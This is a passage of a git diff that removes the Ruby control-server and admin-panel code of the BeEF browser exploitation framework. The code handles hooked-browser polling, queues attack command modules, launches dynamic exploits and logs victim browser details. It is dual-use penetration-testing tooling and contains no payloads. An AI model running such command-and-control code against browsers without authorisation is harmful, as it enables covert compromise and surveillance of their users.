:zombie_id => zombie_db.id) || nil - raise WEBrick::HTTPStatus::BadRequest, "Invalid http_db: no such request found in the database" if http_db.nil? - - # validates that the http request has not be ran before - raise WEBrick::HTTPStatus::BadRequest, "This http request has been saved before" if http_db.has_ran.eql? true - - # validates the body - - body = @data['results'] || nil - raise WEBrick::HTTPStatus::BadRequest, "body is null" if body.nil? - - @guard.synchronize { - # save the results in the database - http_db.response = body - http_db.has_ran = true - http_db.save - } - - end - - end - -end \ No newline at end of file diff --git a/lib/server/zombiehandler.rb b/lib/server/zombiehandler.rb deleted file mode 100644 index e54d0f3c6..000000000 --- a/lib/server/zombiehandler.rb +++ /dev/null @@ -1,98 +0,0 @@ -module BeEF - - # - # This class handles connections from zombies to the framework. - # - class ZombieHandler < WEBrick::HTTPServlet::AbstractServlet - - include BeEF::Server::Modules::Common - include BeEF::Server::Modules::Requester - - attr_reader :guard - - def initialize(config) - @guard = Mutex.new - @cmd_opts = BeEF::Console::CommandLine.parse - @session = BeEF::UI::Session.instance - end - - # - # This method processes the http requests sent by a zombie to the framework. - # It will update the database to add or update the current zombie and deploy - # some command modules or plugins. - # - def do_GET(request, response) - @body = '' - @params = request.query - @request = request - @response = response - config = BeEF::Configuration.instance - - # check source ip address of browser - permitted_hooking_subnet = config.get('permitted_hooking_subnet') - target_network = IPAddr.new(permitted_hooking_subnet) - if not target_network.include?(request.peeraddr[3].to_s) - BeEF::Logger.instance.register('Target Range', "Attempted hook from out of target range browser (#{request.peeraddr[3]}) rejected.") - @response.set_error(nil) - return - end - - # get zombie if already hooked the framework - hook_session_id = request.get_hook_session_id() - hooked_browser = BeEF::Models::Zombie.first(:session => hook_session_id) if not hook_session_id.nil? - - if not hooked_browser # is a new browser so return instructions to set up the hook - - # generate the instructions to hook the browser - host_name = @request.host # get the host from the HOST attribute in the HTTP header - raise WEBrick::HTTPStatus::BadRequest, "Invalid host name" if not Filter.is_valid_hostname?(host_name) - build_beefjs!(host_name) - - else # is a known browseer so send instructions - - # record the last poll from the browser - hooked_browser.lastseen = Time.new.to_i - - hooked_browser.count! - hooked_browser.save - - execute_plugins! - - # add all availible command module instructions to the response - zombie_commands = BeEF::Models::Command.all(:zombie_id => hooked_browser.id, :instructions_sent => false) - zombie_commands.each{|command| add_command_instructions(command, hooked_browser)} - - # add all availible autoloading command module instructions to the response - autoloadings = BeEF::Models::Command.all(:autoloadings => { :in_use => true }) - autoloadings.each {|command| add_command_instructions(command, hooked_browser)} - - # executes the requester - requester_run(hooked_browser) - - end - - # set response headers and body - response.set_no_cache - response.header['Content-Type'] = 'text/javascript' - response.header['Access-Control-Allow-Origin'] = '*' - response.header['Access-Control-Allow-Methods'] = 'POST, GET' - response.body = @body - - end - - alias do_POST do_GET - - private - - # Object representing the HTTP request - @request - - # Object representing the HTTP response - @response - - # A string containing the list of BeEF components active in the hooked browser - @beef_js_cmps - - end - -end diff --git a/lib/ui/authentication/authentication.rb b/lib/ui/authentication/authentication.rb deleted file mode 100644 index 9f38c6033..000000000 --- a/lib/ui/authentication/authentication.rb +++ /dev/null @@ -1,137 +0,0 @@ -module BeEF -module UI - -# -# The authentication web page for BeEF. -# -class Authentication < BeEF::HttpController - - # - # Constructor - # - def initialize - super({ - 'paths' => { - '/' => method(:index), - '/login' => method(:login), - '/logout' => method(:logout) - } - }) - - @session = BeEF::UI::Session.instance - end - - # Function managing the index web page - def index - @headers['Content-Type']='text/html; charset=UTF-8' - end - - # - # Function managing the login - # - def login - - username = @params['username-cfrm'] || '' - password = @params['password-cfrm'] || '' - config = BeEF::Configuration.instance - @headers['Content-Type']='application/json; charset=UTF-8' - ua_ip = @request.peeraddr[3] # get client ip address - @body = '{ success : false }' # attempt to fail closed - - # check if source IP address is permited to authenticate - if not permited_source?(ua_ip) - BeEF::Logger.instance.register('Authentication', "IP source address (#{@request.peeraddr[3]}) attempted to authenticate but is not within permitted subnet.") - return - end - - # check if under brute force attack - time = Time.new - if not timeout?(time) - @session.set_auth_timestamp(time) - return - end - - # check username and password - if not (username.eql? config.get('ui_username') and password.eql? config.get('ui_password') ) - BeEF::Logger.instance.register('Authentication', "User with ip #{@request.peeraddr[3]} has failed to authenticate in the application.") - return - end - - # establish an authenticated session - - # set up session and set it logged in - @session.set_logged_in(ua_ip) - - # create session cookie - session_cookie_name = config.get('session_cookie_name') # get session cookie name - session_cookie = WEBrick::Cookie.new(session_cookie_name, @session.get_id) - session_cookie.path = '/' - session_cookie.httponly = true - - # add session cookie to response header - @headers['Set-Cookie'] = session_cookie.to_s - - BeEF::Logger.instance.register('Authentication', "User with ip #{@request.peeraddr[3]} has successfuly authenticated in the application.") - @body = "{ success : true }" - end - - # - # Function managing the logout - # - def logout - - # test if session is unauth'd - raise WEBrick::HTTPStatus::BadRequest, "invalid nonce" if not @session.valid_nonce?(@request) - raise WEBrick::HTTPStatus::BadRequest, "invalid session" if not @session.valid_session?(@request) - - @headers['Content-Type']='application/json; charset=UTF-8' - - # set the session to be log out - @session.set_logged_out - - # clean up UA and expire the session cookie - config = BeEF::Configuration.instance - session_cookie_name = config.get('session_cookie_name') # get session cookie name - session_cookie = WEBrick::Cookie.new(session_cookie_name, "") - session_cookie.path = '/' - session_cookie.expires = Time.now - session_cookie.httponly = true - - # add (expired) session cookie to response header - @headers['Set-Cookie'] = session_cookie.to_s - - BeEF::Logger.instance.register('Authentication', "User with ip #{@request.addr} has successfuly logged out.") - @body = "{ success : true }" - - end - - # - # Check the UI browser source IP is within the permitted subnet - # - def permited_source?(ip) - # get permitted subnet - config = BeEF::Configuration.instance - permitted_ui_subnet = config.get('permitted_ui_subnet') - target_network = IPAddr.new(permitted_ui_subnet) - - # test if ip within subnet - return target_network.include?(ip) - end - - # - # Brute Force Mitigation - # Only one login request per login_fail_delay seconds - # - def timeout?(time) - config = BeEF::Configuration.instance - login_fail_delay = config.get('login_fail_delay') # get fail delay - - # test if the last login attempt was less then login_fail_delay seconds - time - @session.get_auth_timestamp > login_fail_delay.to_i - end - - -end - -end -end \ No newline at end of file diff --git a/lib/ui/authentication/index.html b/lib/ui/authentication/index.html deleted file mode 100644 index f54bdb134..000000000 --- a/lib/ui/authentication/index.html +++ /dev/null @@ -1,36 +0,0 @@ - - - BeEF Authentication - - <%= script_tag 'ext-base.js' %> - <%= script_tag 'ext-all.js' %> - <%= script_tag 'ui/authentication.js' %> - - <%= stylesheet_tag 'ext-all.css' %> - - - - - - - -
- - \ No newline at end of file diff --git a/lib/ui/logs/logs.rb b/lib/ui/logs/logs.rb deleted file mode 100644 index fc60ff350..000000000 --- a/lib/ui/logs/logs.rb +++ /dev/null @@ -1,72 +0,0 @@ -module BeEF -module UI - -class Logs < BeEF::HttpController - - def initialize - super({ - 'paths' => { - '/all.json' => method(:select_all_logs), - '/zombie.json' => method(:select_zombie_logs) - } - }) - end - - # Selects logs in the database and returns them in a JSON format. - def select_all_logs - - log = BeEF::Models::Log.all() - raise WEBrick::HTTPStatus::BadRequest, "log is nil" if log.nil? - - # format log - @body = logs2json(log) - - end - - # Selects the logs for a zombie - def select_zombie_logs - - # get params - session = @params['session'] || nil - raise WEBrick::HTTPStatus::BadRequest, "session is nil" if session.nil? - - zombie = BeEF::Models::Zombie.first(:session => session) - raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if zombie.nil? - raise WEBrick::HTTPStatus::BadRequest, "zombie.id is nil" if zombie.id.nil? - zombie_id = zombie.id - - # get log - log = BeEF::Models::Log.all(:zombie_id => zombie_id) - raise WEBrick::HTTPStatus::BadRequest, "log is nil" if log.nil? - - # format log - @body = logs2json(log) - end - - private - - # Returns a list of logs in JSON format. - def logs2json(logs) - logs_json = [] - count = logs.length - output = '{success: false}' - - logs.each do |log| - logs_json << { - 'id' => log.id.to_i, - 'date' => log.date.to_s, - 'event' => log.event.to_s, - 'type' => log.type.to_s - } - end - - # format output - output = {'success' => 'true', 'count' => count, 'logs' => logs_json}.to_json if not logs_json.empty? - - output - end - -end - -end -end diff --git a/lib/ui/modules/modules.rb b/lib/ui/modules/modules.rb deleted file mode 100644 index 24c5eef78..000000000 --- a/lib/ui/modules/modules.rb +++ /dev/null @@ -1,580 +0,0 @@ -module BeEF -module UI - -# -# -# -class Modules < BeEF::HttpController - - BD = BeEF::Models::BrowserDetails - - def initialize - super({ - 'paths' => { - '/select/commandmodules/all.json' => method(:select_all_command_modules), - '/select/commandmodules/tree.json' => method(:select_command_modules_tree), - '/select/commandmodule.json' => method(:select_command_module), - '/select/command.json' => method(:select_command), - '/select/command_results.json' => method(:select_command_results), - '/select/zombie_summary.json' => method(:select_zombie_summary), - '/commandmodule/commands.json' => method(:select_command_module_commands), - '/commandmodule/new' => method(:attach_command_module), - '/commandmodule/dynamicnew' => method(:attach_dynamic_command_module), - '/commandmodule/reexecute' => method(:reexecute_command_module) - } - }) - - @session = BeEF::UI::Session.instance - end - - # Returns a JSON array containing the summary for a selected zombie. - def select_zombie_summary - - # get the zombie - zombie_session = @params['zombie_session'] || nil - raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil? - zombie = BeEF::Models::Zombie.first(:session => zombie_session) - raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil? - - # init the summary grid - summary_grid_hash = { - 'success' => 'true', - 'results' => [] - } - - # set and add the return values for the page title - page_title = BD.get(zombie_session, 'PageTitle') - if not page_title.nil? - encoded_page_title = CGI.escapeHTML(page_title) - encoded_page_hash = { 'Page Title' => encoded_page_title } - - page_name_row = { - 'category' => 'Browser Hook Initialisation', - 'data' => encoded_page_hash, - 'from' => 'Initialisation' - } - - summary_grid_hash['results'].push(page_name_row) # add the row - end - - # set and add the return values for the host name - host_name = BD.get(zombie_session, 'HostName') - if not host_name.nil? - encoded_host_name = CGI.escapeHTML(host_name) - encoded_host_name_hash = { 'Host Name' => encoded_host_name } - - page_name_row = { - 'category' => 'Browser Hook Initialisation', - 'data' => encoded_host_name_hash, - 'from' => 'Initialisation' - } - - summary_grid_hash['results'].push(page_name_row) # add the row - end - - # set and add the return values for the os name - os_name = BD.get(zombie_session, 'OsName') - if not host_name.nil? - encoded_os_name = CGI.escapeHTML(os_name) - encoded_os_name_hash = { 'OS Name' => encoded_os_name } - - page_name_row = { - 'category' => 'Browser Hook Initialisation', - 'data' => encoded_os_name_hash, - 'from' => 'Initialisation' - } - - summary_grid_hash['results'].push(page_name_row) # add the row - end - - # set and add the return values for the browser name - browser_name = BD.get(zombie_session, 'BrowserName') - if not browser_name.nil? - friendly_browser_name = BeEF::Constants::Browsers.friendly_name(browser_name) - browser_name_hash = { 'Browser Name' => friendly_browser_name } - - browser_name_row = { - 'category' => 'Browser Hook Initialisation', - 'data' => browser_name_hash, - 'from' => 'Initialisation' - } - - summary_grid_hash['results'].push(browser_name_row) # add the row - end - - # set and add the return values for the browser version - browser_version = BD.get(zombie_session, 'BrowserVersion') - if not browser_version.nil? - encoded_browser_version = CGI.escapeHTML(browser_version) - browser_version_hash = { 'Browser Version' => encoded_browser_version } - - browser_version_row = { - 'category' => 'Browser Hook Initialisation', - 'data' => browser_version_hash, - 'from' => 'Initialisation' - } - - summary_grid_hash['results'].push(browser_version_row) # add the row - end - - # set and add the list of plugins installed in the browser - browser_plugins = BD.get(zombie_session, 'BrowserPlugins') - if not browser_plugins.nil? and not browser_plugins.empty? - encoded_browser_plugins = CGI.escapeHTML(browser_plugins) - encoded_browser_plugins_hash = { 'Browser Plugins' => encoded_browser_plugins } - - page_name_row = { - 'category' => 'Browser Hook Initialisation', - 'data' => encoded_browser_plugins_hash, - 'from' => 'Initialisation' - } - - summary_grid_hash['results'].push(page_name_row) # add the row - end - - # set and add the internal ip address - internal_ip = BD.get(zombie_session, 'InternalIP') - if not internal_ip.nil? - encoded_internal_ip = CGI.escapeHTML(internal_ip) - encoded_internal_ip_hash = { 'Internal IP' => encoded_internal_ip } - - page_name_row = { - 'category' => 'Browser Hook Initialisation', - 'data' => encoded_internal_ip_hash, - 'from' => 'Initialisation' - } - - summary_grid_hash['results'].push(page_name_row) # add the row - end - - # set and add the internal hostname - internal_hostname = BD.get(zombie_session, 'InternalHostname') - if not internal_hostname.nil? - encoded_internal_hostname = CGI.escapeHTML(internal_hostname) - encoded_internal_hostname_hash = { 'Internal Hostname' => encoded_internal_hostname } - - page_name_row = { - 'category' => 'Browser Hook Initialisation', - 'data' => encoded_internal_hostname_hash, - 'from' => 'Initialisation' - } - - summary_grid_hash['results'].push(page_name_row) # add the row - end - - @body = summary_grid_hash.to_json - end - - # Returns the list of all command_modules in a JSON format - def select_all_command_modules - @body = command_modules2json(Dir["#{$root_dir}/modules/commands/**/*.rb"]) - end - - # Returns the list of all command_modules for a TreePanel in the interface. - def select_command_modules_tree - command_modules_tree_array = [] - command_modules_categories = [] - - # get an array of all the command modules in the database - db_command_modules = BeEF::Models::CommandModule.all(:order => [:id.asc]) - raise WEBrick::HTTPStatus::BadRequest, "db_command_modules is nil" if db_command_modules.nil? - - db_command_modules.each {|command_module_db_details| - - # get the hooked browser session id and set it in the command module - hook_session_id = @params['zombie_session'] || nil - raise WEBrick::HTTPStatus::BadRequest, "hook_session_id is nil" if hook_session_id.nil? - - # create an instance of the comand module - command_module_name = File.basename command_module_db_details.path, '.rb' # get the name - command_module = BeEF::Modules::Commands.const_get(command_module_name.capitalize).new - command_module.session_id = hook_session_id - command_module.update_info(command_module_db_details.id) if(command_module_db_details.path.match(/^Dynamic/)) - - - # set command module treeview display properties - command_module_friendly_name = command_module.info['Name'].downcase - command_module_category = command_module.info['Category'].downcase - - # create url path and file for the command module icon - command_module_icon_path = BeEF::Constants::CommandModule::MODULE_TARGET_IMG_PATH # add icon path - case command_module.verify_target() # select the correct icon for the command module - when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_NOT_WORKING - command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_NOT_WORKING_IMG - command_module_status = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_NOT_WORKING - when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_USER_NOTIFY - command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_USER_NOTIFY_IMG - command_module_status = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_USER_NOTIFY - when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_WORKING - command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_WORKING_IMG - command_module_status = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_WORKING - when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN - command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN_IMG - command_module_status = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN - else - command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN_IMG - command_module_status = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN - end - - # construct the category branch if it doesn't exist for the command module tree - if not command_modules_categories.include? command_module_category - command_modules_categories.push(command_module_category) # flag that the categor has been added - command_modules_tree_array.push({ # add the branch structure - 'text' => command_module_category, - 'cls' => 'folder', - 'children' => [] - }) - end - - # construct leaf node for the command module tree - leaf_node = { - 'text' => command_module_friendly_name, - 'leaf' => true, - 'icon' => command_module_icon_path, - 'status' => command_module_status, - 'id' => command_module_db_details.id - } - - # add the node to the branch in the command module tree - command_modules_tree_array.each {|x| - if x['text'].eql? command_module_category - x['children'].push( leaf_node ) - break - end - } - - } - - # sort the parent array nodes - command_modules_tree_array.sort! {|a,b| a['text'] <=> b['text']} - - # sort the children nodes by status then alpha - command_modules_tree_array.each {|x| - x['children'] = x['children'].sort_by {|a| [a['status'], a['text']]} - } - - # append the number of command modules so the branch name results in: " (num)" - command_modules_tree_array.each {|command_module_branch| - num_of_command_modules = command_module_branch['children'].length - command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")" - } - - # return a JSON array of hashes - @body = command_modules_tree_array.to_json - end - - # Returns the absolute path of the rb file mapped to the id in the database - def get_command_module_path(command_module_id) - - # get command_module from database - raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil? - command_module = BeEF::Models::CommandModule.first(:id => command_module_id) - raise WEBrick::HTTPStatus::BadRequest, "Invalid command_module id" if command_module.nil? - - # Dynamic modules won't have a real path - return command_module.path if (command_module.path.match(/^Dynamic/)) - - # construct command_module path - absolute_command_module_path = $root_dir+File::SEPARATOR+command_module.path - raise WEBrick::HTTPStatus::BadRequest, "command_module file does not exist" if not File.exists?(absolute_command_module_path) - - absolute_command_module_path - end - - - # Returns the inputs definition of an command_module. - def select_command_module - - # get command_module id - command_module_id = @params['command_module_id'] || nil - raise WEBrick::HTTPStatus::BadRequest, "command_module_id is nil" if command_module_id.nil? - - # get the command_module path - absolute_command_module_path = get_command_module_path(command_module_id) - - # check if the request relates to a dynamic module - if(absolute_command_module_path.match(/^Dynamic/)) - # get command_module id - payload_name = @params['payload_name'] || nil - - if not payload_name.nil? - @body = dynamic_payload2json(command_module_id, payload_name) - else - @body = dynamic_modules2json(command_module_id); - end - else - @body = command_modules2json([absolute_command_module_path]); - end - end - - # Returns the list of commands for an command_module - def select_command_module_commands - commands = [] - i=0 - - # get params - zombie_session = @params['zombie_session'] || nil - raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil? - command_module_id = @params['command_module_id'] || nil - raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil? - # validate nonce - nonce = @params['nonce'] || nil - raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil? - raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce - - # get the browser id - zombie = Z.first(:session => zombie_session) - raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil? - zombie_id = zombie.id - raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_id.nil? - - C.all(:command_module_id => command_module_id, :zombie_id => zombie_id).each do |command| - commands.push({ - 'id' => i, - 'object_id' => command.id, - 'creationdate' => Time.at(command.creationdate.to_i).strftime("%Y-%m-%d %H:%M").to_s, - 'label' => command.label - }) - i+=1 - end - - @body = { - 'success' => 'true', - 'commands' => commands}.to_json - - end - - # Attaches an command_module to a zombie. - def attach_command_module - - definition = {} - - # get params - zombie_session = @params['zombie_session'] || nil - raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_session.nil? - command_module_id = @params['command_module_id'] || nil - raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil? - # validate nonce - nonce = @params['nonce'] || nil - raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil? - raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce - - @params.keys.each {|param| - raise WEBrick::HTTPStatus::BadRequest, "invalid key param string" if not Filter.has_valid_param_chars?(param) - raise WEBrick::HTTPStatus::BadRequest, "first char is num" if Filter.first_char_is_num?(param) - definition[param[4..-1]] = params[param] - oc = BeEF::Models::OptionCache.first_or_create(:name => param[4..-1]) - oc.value = params[param] - oc.save - } - - zombie = Z.first(:session => zombie_session) - raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil? - zombie_id = zombie.id - raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_id.nil? - - C.new( :data => definition.to_json, - :zombie_id => zombie_id, - :command_module_id => command_module_id, - :creationdate => Time.new.to_i - ).save - - @body = '{success : true}' - end - - # Re-execute an command_module to a zombie. - def reexecute_command_module - - # get params - command_id = @params['command_id'] || nil - raise WEBrick::HTTPStatus::BadRequest, "Command id is nil" if command_id.nil? - command = BeEF::Models::Command.first(:id => command_id.to_i) || nil - raise WEBrick::HTTPStatus::BadRequest, "Command is nil" if command.nil? - # validate nonce - nonce = @params['nonce'] || nil - raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil? - raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce - - command.has_run = false - command.save - - @body = '{success : true}' - end - - def attach_dynamic_command_module - - definition = {} - - # get params - zombie_session = @params['zombie_session'] || nil - raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_session.nil? - command_module_id = @params['command_module_id'] || nil - raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil? - # validate nonce - nonce = @params['nonce'] || nil - raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil? - raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce - - @params.keys.each {|param| - raise WEBrick::HTTPStatus::BadRequest, "invalid key param string" if not Filter.has_valid_param_chars?(param) - raise WEBrick::HTTPStatus::BadRequest, "first char is num" if Filter.first_char_is_num?(param) - definition[param[4..-1]] = params[param] - oc = BeEF::Models::OptionCache.first_or_create(:name => param[4..-1]) - oc.value = params[param] - oc.save - } - - zombie = Z.first(:session => zombie_session) - raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil? - zombie_id = zombie.id - raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_id.nil? - - mod = BeEF::Models::CommandModule.first(:id => command_module_id) - - # if the module id is not in the database return false - return {'success' => 'false'}.to_json if(not mod) - - # the path will equal Dynamic/ and this will get just the type - dynamic_type = mod.path.split("/").last - e = BeEF::Modules::Commands.const_get(dynamic_type.capitalize).new - e.update_info(command_module_id) - e.update_data() - ret = e.launch_exploit(definition) - - return {'success' => 'false'}.to_json if ret['result'] != 'success' - - basedef = {} - basedef['sploit_url'] = ret['uri'] - - C.new( :data => basedef.to_json, - :zombie_id => zombie_id, - :command_module_id => command_module_id, - :creationdate => Time.new.to_i - ).save - - @body = '{success : true}' - end - - # Returns the results of a command - def select_command_results - results = [] - - # get params - command_id = @params['command_id'] || nil - raise WEBrick::HTTPStatus::BadRequest, "Command id is nil" if command_id.nil? - command = BeEF::Models::Command.first(:id => command_id.to_i) || nil - raise WEBrick::HTTPStatus::BadRequest, "Command is nil" if command.nil? - - # get command_module - command_module = BeEF::Models::CommandModule.first(:id => command.command_module_id) - raise WEBrick::HTTPStatus::BadRequest, "command_module is nil" if command_module.nil? - command_module_name = File.basename command_module.path, '.rb' - - resultsdb = BeEF::Models::Result.all(:command_id => command_id) - raise WEBrick::HTTPStatus::BadRequest, "Command id result is nil" if resultsdb.nil? - - resultsdb.each{ |result| results.push({'date' => result.date, 'data' => JSON.parse(result.data)}) } - - @body = { - 'success' => 'true', - 'command_module_name' => command_module_name, - 'command_module_id' => command_module.id, - 'results' => results}.to_json - - end - - # Returns the definition of a command. - # In other words it returns the command that was used to command_module a zombie. - def select_command - - # get params - command_id = @params['command_id'] || nil - raise WEBrick::HTTPStatus::BadRequest, "Command id is nil" if command_id.nil? - command = BeEF::Models::Command.first(:id => command_id.to_i) || nil - raise WEBrick::HTTPStatus::BadRequest, "Command is nil" if command.nil? - - command_module = BeEF::Models::CommandModule.first(:id => command.command_module_id) - raise WEBrick::HTTPStatus::BadRequest, "command_module is nil" if command_module.nil? - command_module_name = File.basename command_module.path, '.rb' - - e = BeEF::Modules::Commands.const_get(command_module_name.capitalize).new - - @body = { - 'success' => 'true', - 'command_module_name' => command_module_name, - 'command_module_id' => command_module.id, - 'data' => JSON.parse(command.data), - 'definition' => JSON.parse(e.to_json) - }.to_json - - end - - private - - # Takes a list of command_modules and returns them as a JSON array - def command_modules2json(command_modules) - command_modules_json = {} - i = 1 - - command_modules.each do |command_module| - next if not File.exists?(command_module) - - e = File.basename command_module, '.rb' - e = BeEF::Modules::Commands.const_get(e.capitalize).new - command_modules_json[i] = JSON.parse(e.to_json) - i += 1 - end - - if not command_modules_json.empty? - return {'success' => 'true', 'command_modules' => command_modules_json}.to_json - else - return {'success' => 'false'}.to_json - end - end - - # return the input requred for the module in JSON format - def dynamic_modules2json(id) - command_modules_json = {} - - mod = BeEF::Models::CommandModule.first(:id => id) - - # if the module id is not in the database return false - return {'success' => 'false'}.to_json if(not mod) - - # the path will equal Dynamic/ and this will get just the type - dynamic_type = mod.path.split("/").last - - e = BeEF::Modules::Commands.const_get(dynamic_type.capitalize).new - e.update_info(mod.id) - e.update_data() - command_modules_json[1] = JSON.parse(e.to_json) - if not command_modules_json.empty? - return {'success' => 'true', 'dynamic' => 'true', 'command_modules' => command_modules_json}.to_json - else - return {'success' => 'false'}.to_json - end - end - - def dynamic_payload2json(id, payload_name) - command_modules_json = {} - - dynamic_command_module = BeEF::Models::CommandModule.first(:id => id) - raise WEBrick::HTTPStatus::BadRequest, "Module does not exists" if dynamic_command_module.nil? - - # the path will equal Dynamic/ and this will get just the type - dynamic_type = dynamic_command_module.path.split("/").last - - # get payload options in JSON - e = BeEF::Modules::Commands.const_get(dynamic_type.capitalize).new - payload_options_json = [] - payload_options_json[1] = e.get_payload_options(payload_name) - raise WEBrick::HTTPStatus::BadRequest, "Payload JSON generation error" if payload_options_json.empty? - - return {'success' => 'true', 'command_modules' => payload_options_json}.to_json - - end - -end - -end -end diff --git a/lib/ui/panel/index.html b/lib/ui/panel/index.html deleted file mode 100644 index 7957e2dc5..000000000 --- a/lib/ui/panel/index.html +++ /dev/null @@ -1,48 +0,0 @@ - - - - BeEF Control Panel - - - - <%= script_tag 'ext-base.js' %> - <%= script_tag 'ext-all.js' %> - <%= script_tag 'ext-beef.js' %> - <%= script_tag 'ux/TabCloseMenu.js' %> - <%= script_tag 'ux/StatusBar.js' %> - <%= script_tag 'ux/PagingStore.js' %> - - <%= script_tag 'ui/panel/common.js' %> - <%= script_tag 'ui/panel/DistributedEngine.js' %> - <%= script_tag 'ui/panel/PanelStatusBar.js' %> - - <%= script_tag 'ui/panel/tabs/ZombieTabDetails.js' %> - <%= script_tag 'ui/panel/tabs/ZombieTabLogs.js' %> - <%= script_tag 'ui/panel/tabs/ZombieTabCommands.js' %> - <%= script_tag 'ui/panel/tabs/ZombieTabRequester.js' %> - - <%= script_tag 'ui/panel/PanelViewer.js' %> - <%= script_tag 'ui/panel/DataGrid.js' %> - <%= script_tag 'ui/panel/MainPanel.js' %> - <%= script_tag 'ui/panel/ZombieTab.js' %> - <%= script_tag 'ui/panel/ZombieTabs.js' %> - <%= script_tag 'ui/panel/zombiesTreeList.js' %> - <%= script_tag 'ui/panel/ZombiesMgr.js' %> - - <%= script_tag 'ui/panel/Logout.js' %> - <%= script_tag 'ui/panel/WelcomeTab.js' %> - - <%= stylesheet_tag 'ext-all.css' %> - <%= stylesheet_tag 'base.css' %> - - - - <%= nonce_tag %> - - - - diff --git a/lib/ui/panel/panel.rb b/lib/ui/panel/panel.rb deleted file mode 100644 index 6048a528a..000000000 --- a/lib/ui/panel/panel.rb +++ /dev/null @@ -1,87 +0,0 @@ -module BeEF -module UI - -# -# -# -class Panel < BeEF::HttpController - - def initialize - super({ - 'paths' => { - '/' => method(:index), - '/hooked-browser-tree-update.json' => method(:hooked_browser_tree_update) - } - }) - end - - # default index page - def index; end - - # return a JSON object contains all the updates for the hooked browser trees - def hooked_browser_tree_update - # retrieve the hbs that are online - hooked_browsers_online = zombies2json_simple(BeEF::Models::Zombie.all(:lastseen.gte => (Time.new.to_i - 30))) - - # retrieve the hbs that are offline - hooked_browsers_offline = zombies2json_simple(BeEF::Models::Zombie.all(:lastseen.lt => (Time.new.to_i - 30))) - - # retrieve the distributed engine rules that are enabled - distributed_engine_rules = distributed_engine_rules_2_json_simple(BeEF::Models::DistributedEngineRules.all(:enabled => true)) - - # hash that gets populated with all the information for the hb trees - ret = { - 'success' => true, - - # the list of hb - 'hooked-browsers' => { - 'online' => hooked_browsers_online, - 'offline' => hooked_browsers_offline - }, - - # the rules for the distributed engine - 'ditributed-engine-rules' => distributed_engine_rules - } - - @body = ret.to_json - end - - # Takes a list distributed engine rules and format the results into JSON - def distributed_engine_rules_2_json_simple(rules) - - end - - # Takes a list of zombies and format the results in a JSON array. - def zombies2json_simple(zombies) - zombies_hash = {} - i = 0 - - zombies.each do |zombie| - # create hash of zombie details - zombies_hash[i] = (get_simple_hooked_browser_hash(zombie)) - i+=1 - end - - zombies_hash - end - - # create a hash of simple hooked browser details - def get_simple_hooked_browser_hash(hooked_browser) - - browser_icon = BeEF::Models::BrowserDetails.browser_icon(hooked_browser.session) - os_icon = BeEF::Models::BrowserDetails.os_icon(hooked_browser.session) - domain = BeEF::Models::BrowserDetails.get(hooked_browser.session, 'HostName') - - return { - 'session' => hooked_browser.session, - 'ip' => hooked_browser.ip, - 'domain' => domain, - 'browser_icon' => browser_icon, - 'os_icon' => os_icon - } - - end -end - -end -end \ No newline at end of file diff --git a/lib/ui/requester/requester.rb b/lib/ui/requester/requester.rb deleted file mode 100644 index bcc5d3930..000000000 --- a/lib/ui/requester/requester.rb +++ /dev/null @@ -1,145 +0,0 @@ -module BeEF -module UI - -# -# HTTP Controller for the Requester component of BeEF. -# -class Requester < BeEF::HttpController - - # Variable representing the Http DB model. - H = BeEF::Models::Http - - def initialize - super({ - 'paths' => { - '/send' => method(:send_request), - '/history.json' => method(:get_zombie_history), - '/response.json' => method(:get_zombie_response) - } - }) - end - - # Send a new http request to the hooked browser. - def send_request - # validate that the hooked browser's session has been sent - zombie_session = @params['zombie_session'] || nil - raise WEBrick::HTTPStatus::BadRequest, "Invalid session id" if not Filter.is_valid_hook_session_id?(zombie_session) - - # validate that the hooked browser exists in the db - zombie = Z.first(:session => zombie_session) || nil - raise WEBrick::HTTPStatus::BadRequest, "Invalid hooked browser session" if zombie.nil? - - # validate that the raw request has been 